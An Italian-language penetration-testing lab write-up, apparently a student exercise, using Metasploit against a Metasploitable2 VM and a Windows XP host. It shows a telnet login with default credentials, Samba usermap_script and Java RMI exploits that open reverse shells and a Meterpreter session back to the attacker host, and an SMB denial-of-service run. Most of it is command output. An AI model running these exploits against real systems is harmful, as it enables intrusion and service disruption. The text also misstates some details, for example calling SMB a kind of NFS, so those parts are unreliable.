

Oggi come ieri,  
andiamo a  
sfruttare  
vulnerabilità con  
metasploit.

In questo caso, abbiamo sfruttato un exploit del servizio telnet, che ci dà il nome utente e password per poter collegare al servizio telnet.

Telnet è un servizio che ci permette collegare ad una shell remotamente, simile a SSH, ma ancora più vulnerabile perché non è cifrato.

```
msf6 auxiliary(scanner/telnet/telnet_version) > rhost 192.168.32.101
[-] Unknown command: rhost
msf6 auxiliary(scanner/telnet/telnet_version) > RHOST 192.168.32.101
[-] Unknown command: RHOST
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.32.101
RHOSTS => 192.168.32.101
msf6 auxiliary(scanner/telnet/telnet_version) > show options
```

```
Module options (auxiliary/scanner/telnet/telnet version):
```

| Name     | Current Setting | Required | Description   |
|----------|-----------------|----------|---|
| PASSWORD |                 | no       | The password for the specified username   |
| RHOSTS   | 192.168.32.101  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 23              | yes      | The target port (TCP)   |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)   |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe  |
| USERNAME |                 | no       | The username to authenticate as   |

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit
```

```
[*] 192.168.32.101:23 - 192.168.32.101:23 TELNET
[*] 192.168.32.101:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
```

Ora sappiamo le credenziale e possiamo usare la shell remota di metasploitable2 verso il servizio telnet.

```
(kali㉿kali)-[~]  
$ telnet 192.168.32.101  
Trying 192.168.32.101 ...  
Connected to 192.168.32.101.  
Escape character is '^['.
```

Warning: Never expose this VM to an untrusted network!

Contact: [msfdev\[at\]metasploit.com](mailto:msfdev[at]metasploit.com)

Login with msfadmin/msfadmin to get started

```
metasploitable login: msfadmin
Password:
```

```
Last login: Tue Jan 16 04:22:12 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
```

The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in `/usr/share/doc/*/copyright`.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
```

```
msfadmin@metasploitable:~$
```

Adesso andremo ad inserire una shell verso il protocollo smb che è un tipo di NFS, di solito inferno.

L'exploit che utilizzeremo è `multi/samba/usermap_script` che sfrutta la vulnerabilità del parametro di configurazione `username map script` di smb per iniettare codice arbitrario sulla macchina target.

Prima dobbiamo configurare l'host che verrà attaccato con il comando `set RHOSTS <<IP>>`, e poi la porta per dove arriverà detto attacco, con il comando `set LPORT <<port>>`

Finalmente, possiamo confermare di avere una shell dentro lanciando un comando `ifconfig`.

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.32.101
RHOSTS => 192.168.32.101
msf6 exploit(multi/samba/usermap_script) > set LPORT 445
LPORT => 445
msf6 exploit(multi/samba/usermap_script) > exploit
```

```
[*] Started reverse TCP double handler on 192.168.32.104:445
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo CBapmbsTiwtec6kF;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "CBapmbsTiwtec6kF\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.32.104:445 -> 192.168.32.101:51689) at 2024-01-16 04:48:37 -0500
```

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:70:77:ca
          inet addr:192.168.32.101  Bcast:192.168.32.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe70:77ca/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:66306 errors:0 dropped:0 overruns:0 frame:0
          TX packets:66258 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:5180316 (4.9 MB)  TX bytes:3626627 (3.4 MB)
          Base address:0xd020  Memory:f0200000-f0220000
```

```
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128  Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:319 errors:0 dropped:0 overruns:0 frame:0
          TX packets:319 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:109404 (106.8 KB)  TX bytes:109404 (106.8 KB)
```

Ora per farlo con  
l'exploit  
java\_rmi\_server.

Con questo  
exploit possiamo  
iniziare codice  
Java che ci  
permette inserire  
una shell  
meterpreter su  
Metasploitable.

I passaggi sono  
molto simile a  
quelli di prima,  
configurare RHOST  
e lanciare  
l'exploit.

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.32.101
RHOSTS => 192.168.32.101
msf6 exploit(multi/misc/java_rmi_server) > exploit
```

```
[*] Started reverse TCP handler on 192.168.32.104:4444
[*] 192.168.32.101:1099 - Using URL: http://192.168.32.104:8080/R26cNiXNxsZV
[*] 192.168.32.101:1099 - Server started.
[*] 192.168.32.101:1099 - Sending RMI Header ...
[*] 192.168.32.101:1099 - Sending RMI Call ...
[*] 192.168.32.101:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.32.101
[*] Meterpreter session 1 opened (192.168.32.104:4444 -> 192.168.32.101:37456) at 2024-01-16 04:55:23 -0500
```

```
meterpreter > pwd
```

```
/
meterpreter > ifconfig
```

#### Interface 1

```
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
```

#### Interface 2

```
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.32.101
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe70:77ca
IPv6 Netmask : ::
```

```
meterpreter > █
```

Qua ho fatto  
un attacco DoS  
(Denial of  
Service), che  
in teoria  
dovrebbe  
sovraccaricare  
la  
comunicazione  
di Windows XP,  
facendo che  
faccia crash,  
in questo caso  
non lo ha  
fatto, ma  
possiamo  
vedere tutti i  
tentativi di  
crashare  
windows XP  
sulla shell.

```
msf6 auxiliary(dos/windows/smb/ms09_001_write) > set RHOSTS 192.168.32.106
RHOSTS => 192.168.32.106
msf6 auxiliary(dos/windows/smb/ms09_001_write) > exploit
[*] Running module against 192.168.32.106
```

Attempting to crash the remote host...

```
datalenlow=65535 dataoffset=65535 fillersize=72
rescue
datalenlow=55535 dataoffset=65535 fillersize=72
rescue
datalenlow=45535 dataoffset=65535 fillersize=72
rescue
datalenlow=35535 dataoffset=65535 fillersize=72
rescue
datalenlow=25535 dataoffset=65535 fillersize=72
rescue
datalenlow=15535 dataoffset=65535 fillersize=72
rescue
datalenlow=65535 dataoffset=55535 fillersize=72
rescue
datalenlow=55535 dataoffset=55535 fillersize=72
rescue
datalenlow=45535 dataoffset=55535 fillersize=72
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datalenlow=35535 dataoffset=55535 fillersize=72
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datalenlow=25535 dataoffset=55535 fillersize=72
rescue
datalenlow=15535 dataoffset=55535 fillersize=72
rescue
datalenlow=65535 dataoffset=45535 fillersize=72
rescue
datalenlow=55535 dataoffset=45535 fillersize=72
rescue
datalenlow=45535 dataoffset=45535 fillersize=72
rescue
datalenlow=35535 dataoffset=45535 fillersize=72
rescue
```

